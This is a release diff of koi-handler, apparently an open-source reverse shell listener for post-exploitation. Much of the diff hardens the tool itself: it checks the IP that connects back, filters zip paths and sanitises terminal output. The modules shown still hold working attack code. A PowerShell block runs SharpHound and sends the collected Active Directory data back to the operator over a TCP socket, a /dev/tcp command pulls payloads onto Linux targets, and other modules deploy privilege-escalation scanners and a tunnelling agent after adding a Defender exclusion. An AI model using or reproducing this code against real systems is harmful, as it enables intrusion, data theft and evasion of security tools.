koi-handler 0.11.2__tar.gz → 0.11.3__tar.gz

{koi_handler-0.11.2/src/koi_handler.egg-info → koi_handler-0.11.3}/PKG-INFO

@@ -1,6 +1,6 @@
 Metadata-Version: 2.4
 Name: koi-handler
-Version: 0.11.2
+Version: 0.11.3
 Summary: Reverse shell listener
 Requires-Python: >=3.10
 License-File: LICENSE

{koi_handler-0.11.2 → koi_handler-0.11.3}/pyproject.toml

@@ -4,7 +4,7 @@ build-backend = "setuptools.build_meta"
 
 [project]
 name = "koi-handler"
-version = "0.11.2"
+version = "0.11.3"
 description = "Reverse shell listener"
 requires-python = ">=3.10"
 dependencies = [

{koi_handler-0.11.2 → koi_handler-0.11.3}/src/koi/listener.py

@@ -179,6 +179,18 @@ class Listener:
         except ValueError:
             return next((s for s in self._snapshot() if s.tag == ref), None)
 
+    def _require_alive_session(self, ref: str) -> Optional[Session]:
+        self._prune()
+        sess = self._resolve_session(ref)
+        if sess is None:
+            notify('error', f"Session {accent(ref)} not found.")
+            return None
+        if not sess.alive:
+            notify('error', f"Session {accent(f'#{sess.id}')} is no longer alive.")
+            self._remove(sess.id)
+            return None
+        return sess
+
     def _session_refs(self) -> list[str]:
         refs = []
         for s in self._snapshot():
@@ -689,16 +701,10 @@ class Listener:
         notify('info', f"Loaded {accent(str(len(modules)))} modules.")
 
     def _cmd_upgrade(self, ref: str) -> None:
-        self._prune()
-        sess = self._resolve_session(ref)
+        sess = self._require_alive_session(ref)
         if sess is None:
-            notify('error', f"Session {accent(ref)} not found.")
             return
         sid = sess.id
-        if not sess.alive:
-            notify('error', f"Session {accent(f'#{sid}')} is no longer alive.")
-            self._remove(sid)
-            return
         if sess.upgraded:
             notify('warning', f"Session {accent(f'#{sid}')} is already upgraded.")
             if not yesno("Do you want to try upgrading again?"):
@@ -760,16 +766,10 @@ class Listener:
         notify('success', f"Session {accent(f'#{sid}')} terminated.")
 
     def _cmd_go(self, ref: str) -> None:
-        self._prune()
-        sess = self._resolve_session(ref)
+        sess = self._require_alive_session(ref)
         if sess is None:
-            notify('error', f"Session {accent(ref)} not found.")
             return
         sid = sess.id
-        if not sess.alive:
-            notify('error', f"Session {accent(f'#{sid}')} is no longer alive.")
-            self._remove(sid)
-            return
 
         ip, port = sess.addr
         is_windows_pty = sess.os_type in ("windows_cmd", "windows_ps") and sess.upgraded
@@ -852,16 +852,10 @@ class Listener:
             print_report_box("Modules", data)
 
     def _cmd_run(self, mod_name: str, ref: str, mod_args: list) -> None:
-        self._prune()
-        sess = self._resolve_session(ref)
+        sess = self._require_alive_session(ref)
         if sess is None:
-            notify('error', f"Session {accent(ref)} not found.")
             return
         sid = sess.id
-        if not sess.alive:
-            notify('error', f"Session {accent(f'#{sid}')} is no longer alive.")
-            self._remove(sid)
-            return
 
         mod_cls = get_module(mod_name)
         if mod_cls is None:

{koi_handler-0.11.2 → koi_handler-0.11.3}/src/koi/modules/blueprint.py

@@ -14,6 +14,7 @@ from typing import TYPE_CHECKING, Callable, Iterator, List, Literal, Optional, U
 if TYPE_CHECKING:
     from koi.session import Session
 
+from koi.utils.cache import cache_path, fetch_or_cache
 from koi.utils.config import TIMEOUTS
 from koi.utils.constants import ANSI_RE, SOCKET_BUFFER_SIZE
 from koi.utils.models import CommandResult, StreamLine
@@ -28,11 +29,8 @@ import argparse
 
 _PS_PROMPT = re.compile(r'^PS\s+\S+>\s*')
 
-# Lines exec_stream holds while learning whether the shell echoes.
 _ECHO_PREAMBLE_LINES = 8
 _SELECT_TIMEOUT = 0.1
-# Ceilings so a command that streams endlessly (or without newlines) cannot grow
-# unbounded in memory while exec() waits for its sentinel or its timeout.
 _MAX_EXEC_OUTPUT_BYTES = 8 * 1024 * 1024
 _MAX_LINE_BYTES = 1024 * 1024
 
@@ -361,7 +359,10 @@ class KoiModule(ABC):
         """Transfer *raw* bytes to *dest* on a Linux target via /dev/tcp."""
         local_ip = self._get_local_ip()
         quoted = self._shell_quote(dest)
-        port, thread, errors = spawn_send_server(raw, timeout=timeout, on_progress=on_progress)
+        port, thread, errors = spawn_send_server(
+            raw, timeout=timeout, on_progress=on_progress,
+            expected_ip=self.session.addr[0],
+        )
         result = self.exec(f"cat < /dev/tcp/{local_ip}/{port} > {quoted}", timeout=timeout)
         thread.join(timeout=timeout)
 
@@ -393,7 +394,10 @@ class KoiModule(ABC):
             "$ExecutionContext.SessionState.Path."
             f"GetUnresolvedProviderPathFromPSPath('{ps_dest}')"
         )
-        port, thread, errors = spawn_send_server(raw, timeout=timeout, on_progress=on_progress)
+        port, thread, errors = spawn_send_server(
+            raw, timeout=timeout, on_progress=on_progress,
+            expected_ip=self.session.addr[0],
+        )
         ps_cmd = (
             f"$_c=New-Object Net.Sockets.TcpClient('{local_ip}',{port});"
             f"$_s=$_c.GetStream();"
@@ -429,6 +433,49 @@ class KoiModule(ABC):
             return self._upload_bytes_lin(raw, dest, timeout, on_progress)
         return self._upload_bytes_win(raw, dest, timeout, on_progress)
 
+    def _fetch_and_deploy(
+        self,
+        dest: str,
+        *,
+        url: Optional[str] = None,
+        cache_key: Optional[str] = None,
+        raw: Optional[bytes] = None,
+        label: Optional[str] = None,
+        chmod: bool = False,
+        timeout: Optional[float] = None,
+    ) -> Optional[bytes]:
+        """Fetch a resource (or use provided bytes) and upload it to the target.
+
+        Returns the raw bytes on success, None on failure.
+        """
+        if raw is None:
+            display = label or cache_key or "resource"
+            with self.spinner(f"Fetching {display}..."):
+                try:
+                    raw, source = fetch_or_cache(url, cache_key)
+                except Exception as exc:
+                    self.err(f"Could not fetch {display}: {exc}")
+                    return None
+            if source == "cache":
+                self.ok(f"Using cached {display} ({cache_path(cache_key)})")
+
+        timeout = timeout or max(TIMEOUTS["upload"], len(raw) // 50_000 + 30)
+
+        bar = self.ui.ProgressBar(total=len(raw))
+        self.status(f"Uploading {label or 'file'} -> {dest} ({len(raw):,} bytes)...")
+        ok = self._upload_bytes(raw, dest, timeout=timeout, on_progress=bar.update)
+        bar.done()
+        print()
+
+        if not ok:
+            self.err("Transfer failed.")
+            return None
+
+        if chmod and self.session.os_type == "linux":
+            self.exec(f"chmod +x {self._shell_quote(dest)}")
+
+        return raw
+
     def run_module(self, io_timeout: Optional[float] = None) -> None:
         """Run the module while owning the session socket throughout.
 

{koi_handler-0.11.2 → koi_handler-0.11.3}/src/koi/modules/download.py

@@ -102,7 +102,8 @@ class DownloadModule(KoiModule):
         if not is_dir:
             bar = self.ui.ProgressBar(total=remote_size or 0)
             with TCPReceiveServer(
-                timeout=TIMEOUTS.get("download", 300), on_progress=bar.update
+                timeout=TIMEOUTS.get("download", 300), on_progress=bar.update,
+                expected_ip=self.session.addr[0],
             ) as srv:
                 port = srv.port
                 self.status(
@@ -161,7 +162,8 @@ class DownloadModule(KoiModule):
             bar = self.ui.ProgressBar(total=remote_size or 0)
 
             if os_type == "linux":
-                with TCPReceiveServer(timeout=_DIR_TIMEOUT, on_progress=bar.update) as srv:
+                with TCPReceiveServer(timeout=_DIR_TIMEOUT, on_progress=bar.update,
+                                     expected_ip=self.session.addr[0]) as srv:
                     port = srv.port
                     self.status(
                         f"Downloading {remote_path}/"
@@ -179,7 +181,8 @@ class DownloadModule(KoiModule):
                         return
 
             else:
-                with TCPReceiveServer(timeout=_DIR_TIMEOUT, on_progress=bar.update) as srv:
+                with TCPReceiveServer(timeout=_DIR_TIMEOUT, on_progress=bar.update,
+                                     expected_ip=self.session.addr[0]) as srv:
                     port = srv.port
                     self.status(
                         f"Downloading {remote_path}\\"
@@ -239,8 +242,15 @@ class DownloadModule(KoiModule):
                             file_count = sum(1 for m in tar.getmembers() if m.isfile())
                     else:
                         with zipfile.ZipFile(io.BytesIO(raw)) as zf:
-                            zf.extractall(path=local_out)
-                            file_count = sum(1 for n in zf.namelist() if not n.endswith("/"))
+                            base = os.path.abspath(local_out)
+                            safe = [
+                                info for info in zf.infolist()
+                                if os.path.abspath(os.path.join(local_out, info.filename)) == base
+                                or os.path.abspath(os.path.join(local_out, info.filename)).startswith(base + os.sep)
+                            ]
+                            for info in safe:
+                                zf.extract(info, path=local_out)
+                            file_count = sum(1 for i in safe if not i.filename.endswith("/"))
                 except zipfile.BadZipFile as exc:
                     self.err(f"Received incomplete archive — {exc}")
                     return

{koi_handler-0.11.2 → koi_handler-0.11.3}/src/koi/modules/ligolo.py

@@ -4,7 +4,6 @@ import io
 import json
 import re
 import tarfile
-import time
 import zipfile
 
 from koi.modules.blueprint import KoiModule
@@ -192,37 +191,17 @@ class LigoloModule(KoiModule):
                 )
             self.status(f"Defender exclusion added for {dest_dir}")
 
-        self.status(f"Uploading to {dest}...")
-        transfer_timeout = max(60, len(agent_bytes) // 50_000 + 30)
-        bar = self.ui.ProgressBar(total=len(agent_bytes))
-        ok = self._upload_bytes(agent_bytes, dest, timeout=transfer_timeout, on_progress=bar.update)
-        bar.done()
-        print()
-
-        if not ok:
-            self.err("Upload failed or file not present on target after transfer.")
+        raw = self._fetch_and_deploy(
+            dest, raw=agent_bytes, label="ligolo agent",
+            chmod=(os_name == "linux"),
+        )
+        if raw is None:
             return
 
-        time.sleep(1.5)
-
-        if os_name == "linux":
-            quoted = self._shell_quote(dest)
-            result = self.exec(f"test -s {quoted} && echo OK || echo MISS")
-            if "OK" not in result.stdout:
-                self.err("Upload failed or file not present on target after transfer.")
-                return
-            self.exec(f"chmod +x {quoted}")
-        else:
-            check = self._win_query(f"(Test-Path '{self._ps_quote(dest)}').ToString()")
-            if check.strip().lower() != "true":
-                self.err("Upload failed or file not present on target after transfer.")
-                return
-
-        print()
         self.box("ligolo-ng agent deployed", {
             "version": tag,
             "asset": asset["name"],
             "arch": arch,
             "remote": dest,
-            "size": f"{len(agent_bytes)} bytes  ({len(agent_bytes)/1024:.1f} KB)",
+            "size": f"{len(raw)} bytes  ({len(raw)/1024:.1f} KB)",
         })

{koi_handler-0.11.2 → koi_handler-0.11.3}/src/koi/modules/peas.py

@@ -1,10 +1,6 @@
 from __future__ import annotations
 
-import shlex
-
 from koi.modules.blueprint import KoiModule
-from koi.utils.cache import cache_path, fetch_or_cache
-from koi.utils.config import TIMEOUTS
 
 LINPEAS_URL = "https://github.com/peass-ng/PEASS-ng/releases/latest/download/linpeas.sh"
 WINPEAS_URL = "https://github.com/peass-ng/PEASS-ng/releases/latest/download/winPEASx64.exe"
@@ -33,43 +29,22 @@ class PeasModule(KoiModule):
     ]
 
     def run(self) -> None:
-        os_type = self.session.os_type
-
-        if os_type == "linux":
+        if self.session.os_type == "linux":
             url, name = LINPEAS_URL, "linpeas.sh"
             dest = self.args.output or f"./{name}"
         else:
             url, name = WINPEAS_URL, "winPEASx64.exe"
             dest = self.args.output or f".\\{name}"
 
-        with self.spinner(f"Fetching {name}..."):
-            try:
-                raw, source = fetch_or_cache(url, name)
-            except Exception as exc:
-                self.err(f"Could not fetch {name}: {exc}")
-                return
-
-        if source == "cache":
-            self.ok(f"Using cached {name} ({cache_path(name)})")
-        else:
-            self.ok(f"{name} fetched from PEASS-ng releases")
-
-        total = len(raw)
-        bar = self.ui.ProgressBar(total=total)
-        self.status(f"Uploading {name} -> {dest} ({total} bytes)...")
-        ok = self._upload_bytes(raw, dest, timeout=TIMEOUTS["upload"], on_progress=bar.update)
-        bar.done()
-        print()
-
-        if not ok:
-            self.err("Transfer failed.")
+        raw = self._fetch_and_deploy(
+            dest, url=url, cache_key=name, label=name,
+            chmod=(self.session.os_type == "linux"),
+        )
+        if raw is None:
             return
 
-        if os_type == "linux":
-            self.exec(f"chmod +x {shlex.quote(dest)}")
-
         self.box("Upload complete", {
             "tool":        name,
             "remote path": dest,
-            "size":        f"{total} bytes  ({total/1024:.1f} KB)",
+            "size":        f"{len(raw)} bytes  ({len(raw)/1024:.1f} KB)",
         })

{koi_handler-0.11.2 → koi_handler-0.11.3}/src/koi/modules/sharphound.py

@@ -96,40 +96,43 @@ class SharpHoundModule(KoiModule):
     ) -> tuple[str, bytes]:
         """Run SharpHound on target, return (status, payload)."""
         local_ip = self._get_local_ip()
-        srv  = TCPReceiveServer(timeout=timeout).start()
-        port = srv.port
+        with TCPReceiveServer(
+            timeout=timeout, expected_ip=self.session.addr[0],
+        ) as srv:
+            port = srv.port
+
+            ps_cmd = (
+                f"$ErrorActionPreference='Continue';"
+                f"$work=(Get-Item '{work_dir}').FullName;"
+                f"$exe=Join-Path $work '{exe_name}';"
+                f"$log=Join-Path $work '{log_name}';"
+                f"$payload=$null;"
+                f"try{{"
+                f"  Push-Location $work;"
+                f"  & $exe -c {collection} --outputdirectory $work *>&1 | Out-File -FilePath $log -Encoding utf8;"
+                f"  Pop-Location;"
+                f"  $zip=Get-ChildItem -Path $work -Filter '*_BloodHound.zip' -ErrorAction SilentlyContinue | Select-Object -First 1 -ExpandProperty FullName;"
+                f"  if($zip -and (Test-Path $zip)){{"
+                f"    $b=[IO.File]::ReadAllBytes($zip);"
+                f"    $h=[Text.Encoding]::UTF8.GetBytes('OK:');"
+                f"    $payload=New-Object byte[] ($h.Length+$b.Length);"
+                f"    [Array]::Copy($h,0,$payload,0,$h.Length);"
+                f"    [Array]::Copy($b,0,$payload,$h.Length,$b.Length);"
+                f"  }}else{{"
+                f"    $logTxt=if(Test-Path $log){{[IO.File]::ReadAllText($log)}}else{{'(no log file produced)'}};"
+                f"    $payload=[Text.Encoding]::UTF8.GetBytes('ERR:'+$logTxt);"
+                f"  }}"
+                f"}}catch{{"
+                f"  $payload=[Text.Encoding]::UTF8.GetBytes('EXC:'+$_.ToString());"
+                f"}}"
+                f"$_c=New-Object Net.Sockets.TcpClient('{local_ip}',{port});"
+                f"$_s=$_c.GetStream();"
+                f"$_s.Write($payload,0,$payload.Length);"
+                f"$_s.Flush();$_c.Close()"
+            )
+            self._dispatch_ps(ps_cmd)
+            data = srv.collect()
 
-        ps_cmd = (
-            f"$ErrorActionPreference='Continue';"
-            f"$work=(Get-Item '{work_dir}').FullName;"
-            f"$exe=Join-Path $work '{exe_name}';"
-            f"$log=Join-Path $work '{log_name}';"
-            f"$payload=$null;"
-            f"try{{"
-            f"  Push-Location $work;"
-            f"  & $exe -c {collection} --outputdirectory $work *>&1 | Out-File -FilePath $log -Encoding utf8;"
-            f"  Pop-Location;"
-            f"  $zip=Get-ChildItem -Path $work -Filter '*_BloodHound.zip' -ErrorAction SilentlyContinue | Select-Object -First 1 -ExpandProperty FullName;"
-            f"  if($zip -and (Test-Path $zip)){{"
-            f"    $b=[IO.File]::ReadAllBytes($zip);"
-            f"    $h=[Text.Encoding]::UTF8.GetBytes('OK:');"
-            f"    $payload=New-Object byte[] ($h.Length+$b.Length);"
-            f"    [Array]::Copy($h,0,$payload,0,$h.Length);"
-            f"    [Array]::Copy($b,0,$payload,$h.Length,$b.Length);"
-            f"  }}else{{"
-            f"    $logTxt=if(Test-Path $log){{[IO.File]::ReadAllText($log)}}else{{'(no log file produced)'}};"
-            f"    $payload=[Text.Encoding]::UTF8.GetBytes('ERR:'+$logTxt);"
-            f"  }}"
-            f"}}catch{{"
-            f"  $payload=[Text.Encoding]::UTF8.GetBytes('EXC:'+$_.ToString());"
-            f"}}"
-            f"$_c=New-Object Net.Sockets.TcpClient('{local_ip}',{port});"
-            f"$_s=$_c.GetStream();"
-            f"$_s.Write($payload,0,$payload.Length);"
-            f"$_s.Flush();$_c.Close()"
-        )
-        self._dispatch_ps(ps_cmd)
-        data = srv.collect()
         if data.startswith(b"OK:"):
             return "ok", data[3:]
         if data.startswith(b"ERR:"):

{koi_handler-0.11.2 → koi_handler-0.11.3}/src/koi/utils/tcp.py

@@ -101,9 +101,11 @@ def spawn_send_server(
 
 
 class TCPReceiveServer:
-    def __init__(self, timeout: float = TIMEOUTS["download"], on_progress=None):
+    def __init__(self, timeout: float = TIMEOUTS["download"], on_progress=None,
+                 expected_ip: Optional[str] = None):
         self._timeout     = timeout
         self._on_progress = on_progress
+        self._expected_ip = expected_ip
         self._sock        = None
         self._done        = threading.Event()
         self._data        = b""
@@ -118,29 +120,35 @@ class TCPReceiveServer:
         return self
 
     def _run(self) -> None:
-        buf = b""
+        chunks: list[bytes] = []
+        total = 0
         try:
-            conn, _ = self._sock.accept()
+            conn = None
+            while conn is None:
+                candidate, peer = self._sock.accept()
+                if self._expected_ip is not None and peer[0] != self._expected_ip:
+                    candidate.close()
+                    continue
+                conn = candidate
             conn.settimeout(self._timeout)
             try:
                 while chunk := conn.recv(SOCKET_BUFFER_SIZE):
-                    buf += chunk
+                    chunks.append(chunk)
+                    total += len(chunk)
                     if self._on_progress:
-                        self._on_progress(len(buf))
+                        self._on_progress(total)
             except socket.timeout:
-                # No clean EOF: the buffer is partial, so fail instead of returning it.
-                self._error = f"receive stalled after {len(buf)} bytes"
+                self._error = f"receive stalled after {total} bytes"
             finally:
                 conn.close()
         except Exception as exc:
             self._error = str(exc)
         finally:
-            self._data = buf
+            self._data = b"".join(chunks)
             self._close()
             self._done.set()
 
     def collect(self) -> bytes:
-        # _run always sets _done (socket timeouts bound it); a deadline here could fire mid-transfer.
         self._done.wait()
         if self._error:
             raise RuntimeError(self._error)

{koi_handler-0.11.2 → koi_handler-0.11.3}/src/koi/utils/ui.py

@@ -140,6 +140,25 @@ def _vlen(s) -> int:
     return len(_ANSI.sub("", str(s)))
 
 
+_C1_AND_CTRL = __import__("re").compile(r'[\x00-\x08\x0b\x0c\x0e-\x1a\x1c-\x1f\x7f\x80-\x9f]')
+
+def _sanitize(text: str) -> str:
+    """Strip dangerous escape sequences (OSC, cursor, erase…) but keep SGR (colors/bold).
+
+    Two passes: the ANSI regex handles ESC-initiated sequences (keeping only
+    SGR), then a character-class pass strips C1 single-byte controls (0x80-0x9F,
+    which some terminals interpret as CSI/OSC/DCS without a leading ESC) and
+    other dangerous C0 controls.  TAB, LF, CR and ESC are preserved.
+    """
+    def _keep_sgr(m: "re.Match[str]") -> str:
+        seq = m.group(0)
+        if seq.startswith("\033[") and seq.endswith("m"):
+            return seq
+        return ""
+    result = _ANSI.sub(_keep_sgr, str(text))
+    return _C1_AND_CTRL.sub("", result)
+
+
 def _ansi_tokens(text: str):
     tokens = []
     pos = 0
@@ -265,6 +284,13 @@ def print_report_box(title, data_dict, top_left_color=PUMPKIN, bottom_right_colo
     if not data_dict:
         return
 
+    data_dict = {
+        _sanitize(k): {_sanitize(sk): _sanitize(sv) for sk, sv in v.items()}
+        if isinstance(v, dict)
+        else _sanitize(v)
+        for k, v in data_dict.items()
+    }
+
     categorized = any(isinstance(v, dict) for v in data_dict.values())
 
     if categorized:
@@ -370,6 +396,9 @@ def print_table(
     if not headers or not rows:
         return
 
+    headers = [_sanitize(h) for h in headers]
+    rows = [[_sanitize(cell) for cell in row] for row in rows]
+
     terminal_width = shutil.get_terminal_size().columns
     n_cols = len(headers)
 

{koi_handler-0.11.2 → koi_handler-0.11.3/src/koi_handler.egg-info}/PKG-INFO

@@ -1,6 +1,6 @@
 Metadata-Version: 2.4
 Name: koi-handler
-Version: 0.11.2
+Version: 0.11.3
 Summary: Reverse shell listener
 Requires-Python: >=3.10
 License-File: LICENSE